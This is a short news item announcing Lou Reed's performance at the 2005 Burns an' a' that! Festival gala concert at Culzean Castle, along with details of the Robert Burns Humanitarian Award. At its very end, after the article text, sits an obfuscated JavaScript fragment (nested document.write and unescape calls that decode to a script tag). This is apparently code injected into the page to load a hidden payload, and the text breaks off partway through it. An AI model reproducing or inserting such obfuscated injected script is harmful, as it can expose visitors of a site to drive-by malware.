Lou Reed performs gala Burns night concert

Universally acclaimed singer songwriter Lou Reed is to perform at the Gala Concert at Culzean Castle as part of this year's Burns an' a' that! Festival. The legendary musician will perform alongside the Orchestra of Scottish Opera along with a host of other performers who have yet to be announced.

Tickets for this year's Burns an' a' that! Gala Concert at Culzean Castle are on sale now. The open-air concert will be staged on Friday May 20th and is set to be one of the major highlights of this year's Burns an' a' that! festival which runs from May 20th until May 29th. Lou Reed will be performing songs at the Gala Concert on Friday May 20th, 2005.

The winner of the Robert Burns Humanitarian Award will be announced at the Gala Concert. Former Liberal leader Sir David Steel will chair this year's committee. Past winners include Sir Clive Stafford Smith who has represented clients in capital trials in the southern states of the US including Scottish-born Kenny Ritchie; Yitzhak Frankenthal co-founder of The Parent Circle which represents bereaved families campaigning for peace in the Israeli-Palestine conflict and Sir John Sulston for his work on the human genome project.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22